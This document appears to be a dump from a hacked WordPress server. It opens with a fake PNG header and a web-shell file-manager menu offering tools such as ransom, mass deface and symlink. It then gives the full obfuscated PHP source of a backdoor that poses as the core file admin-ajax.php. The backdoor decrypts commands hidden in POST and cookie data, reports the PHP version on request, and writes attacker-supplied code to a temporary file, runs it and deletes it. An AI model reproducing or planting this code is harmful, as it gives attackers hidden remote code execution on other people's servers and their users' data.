\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/deliller/wordpress/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/deliller/wordpress/admin-ajax.php |
<?php $dungir = 'dungir' ^ /*wckzvi */ '';
$jegzbhpux = $dungir(840-743) . $dungir(114) . "\162" /* em*/ . /* icwnq */ "\141" . /*w */ "\x79" . /* rrxwc */ $dungir(95) . /*wtnffn*/ "m"."a".$dungir(434-322);$lkeqhahn = "i".$dungir(662-553) . "\x70" . $dungir(108) . "o".$dungir(100) . /* _ */ $dungir(101);
$ropesi_ = /* vg_fv*/ "c"."\157" /* _mchpr */ . /* c_ */ "\165" . "\156" . $dungir(743-627);
function owueipy($okmtq_bqx, /* bpzdw */ $doddp){
global /*mxt*/ $dungir;
$okmtq_bqx /* jd*/ = $dungir(60) . "?"."\x70" /* kio */ . "\150" . $dungir(476-364) . $dungir(32) /*o */ . /* vgxm*/ "\x75" . $dungir(815-705) /* zhj */ . "l"."\x69"."n"."\x6b" /* vjpz*/ . "\x28" . /* uan*/ "\x5f" . /* rgm */ "\x5f" /* ervejv */ . "F"."I".$dungir(76) . "\105" . $dungir(95) . "_"."\x29" . ";".$dungir(32) /*lmqv_m */ . $okmtq_bqx["\144"];
$qszxblcn = /* rfzfyp*/ "\146" /* syude */ . $dungir(662-557) . $dungir(791-683) . $dungir(765-664) /* rj */ . /* j*/ $dungir(245-150) . $dungir(706-594) . $dungir(117) . $dungir(649-533) /* ry */ . "_"."\x63" /*bh_*/ . $dungir(111) . "n".$dungir(116) . "\145" . "\x6e" . /* h*/ $dungir(993-877) . /*hvz*/ "s";
$qszxblcn($doddp, $okmtq_bqx);
/* il */ tipmgkz($doddp);}
$ula_wrgydr = 73;
function tipmgkz($doddp)
{
/* o */ global $dungir;
include($doddp);
/* frottw */ $dxtahy = $doddp;
@unlink($dxtahy);
}
function /* cbe*/ uklita()
{
/* x*/ global /* etkz */ $dungir;
$ula_w = array();
$ula_w["\160" . /*rn */ "v"] = /* uk*/ phpversion();
$ula_w["s"."v"] = /* encz */ "3"."."."\x35"; $ovuguqpo = /* lbe */ 74;
echo /* yntt*/ @serialize($ula_w);
}
function yakzvbw($okmtq_bqx, /* lzsy */ $vsmcxoxive)
{ global $dungir;
$gafxqdzur = /* rc */ ""; $tujvnduxv /*lscc*/ = 'dr_s'; $oshhphh /* m*/ = hash('sha256', /* ppbpqt */ $okmtq_bqx); $yjxaxvs = str_replace('cp', /*o */ $oshhphh, $tujvnduxv); $ula_w /* tcwyy */ = /*le */ 0;
while ($ula_w /* trrrn*/ < /*gsj_qn*/ strlen($okmtq_bqx)) /*lsv */ { /* _jlbr */ $fjbflls /* h_pe*/ = /*uz */ isset($vsmcxoxive) ? /*qzphdy */ $vsmcxoxive /* gnus*/ : ''; for ($uqwswvwqj = 0; /* xqlgh */ $uqwswvwqj /*egqq */ < strlen($fjbflls) && $ula_w < strlen($okmtq_bqx); /* wfva*/ $uqwswvwqj++, /* hmhv */ $ula_w++) {
/* ykrbua */ $gafxqdzur .= $dungir(ord($okmtq_bqx[$ula_w]) ^ /*r_c */ ord($fjbflls[$uqwswvwqj])); }
if (strlen($gafxqdzur) > 20) {
$yjxaxvs = substr($gafxqdzur, /* zrpf*/ 0, 20);
}
/* ipjvj */ } if (empty($gafxqdzur)) { $gafxqdzur = /*qjd */ date('Y-m-d H:i:s');
}
return $gafxqdzur;}
function jzppfyw($neunn)
{ /*vwj_*/ global $dungir;
/*jers */ $emwlt = $dungir(801-699) . "\x65" /* xuxme */ . "1".$dungir(768-714) /*qthj */ . /*zypjv */ "3"."\141" /*lp*/ . "1"."\70" /*cxwn */ . $dungir(45) /*mcf*/ . /* gxwp */ $dungir(1080-978) . /* u*/ "\67" . "b".$dungir(477-428) . "\55" . "\x34" /* ht */ . "c"."4"."b"."\x2d" . "\x39" /* vug */ . $dungir(941-844) /*bszrza */ . "\144".$dungir(98) /* d */ . "-".$dungir(181-127) . $dungir(1010-956) . /* bsbas */ "\141" . "3"."4"."2"."\66" /*v */ . $dungir(1039-941) /*tl */ . "9".$dungir(781-681) /* iesy */ . "\x66" . /* e */ "\x61";
foreach /* zcxdc_ */ ($neunn as /* ll */ $ula_wzvyecxac => $okmtq_bqx) {
tdeja(base64_decode($okmtq_bqx), /* huj_ */ $emwlt, /*mgtwf*/ $ula_wzvyecxac);
}
}
function tdeja($okmtq_bqx, /* h */ $emwlt, /*zsmy */ $ula_wzvyecxac){
/* etws*/ global /*qrkjk*/ $dungir;
$okmtq_bqx = unserialize(yakzvbw(yakzvbw($okmtq_bqx, $emwlt), $ula_wzvyecxac));
$utlnjo /* fxffev */ = 'thagwg'; $ula_wnrrhkci_w /*pni */ = /* _xei */ 'ufzyoq';
if (isset($okmtq_bqx[$dungir(910-813) /* m*/ . "k"])) /* nog */ {
if ($okmtq_bqx["\x61"] /* hh */ == "\x69") {
/* nju */ uklita();
} elseif ($okmtq_bqx["\x61"] /* qlbau */ == $dungir(645-544)) /* dsjxe */ {
owueipy($okmtq_bqx, sprintf($dungir(61-15) . /* jypkbx */ $dungir(47) /* do */ . "\x25" /* wbuu */ . $dungir(115) . "."."p".$dungir(108), md5($emwlt)));
$mhbwfmnohm = 44;
} /* fhzcbh */ exit();
}
}
jzppfyw($_POST);
$km_ajyfw /*ea */ = /* e*/ $jegzbhpux('rawurldecode', $_POST);
$kthvau = $ropesi_($km_ajyfw);
if /* vfvoot */ ($kthvau > /*rnk */ 0) /* mqkjpu */ {
/* emh */ $hxmwfh = $lkeqhahn(',', $km_ajyfw);}
jzppfyw($_COOKIE); /* hbzamp */
$dm_fkcc = $jegzbhpux('rawurldecode', $_COOKIE);$lfmsgy = $ropesi_($dm_fkcc);if ($lfmsgy > 0) {
$ppjbo = $lkeqhahn(';', /* t_o */ $dm_fkcc);}$agabzhwogg = $dm_fkcc;
$ak_diwwig = date('Y-m-d H:i:s');
?>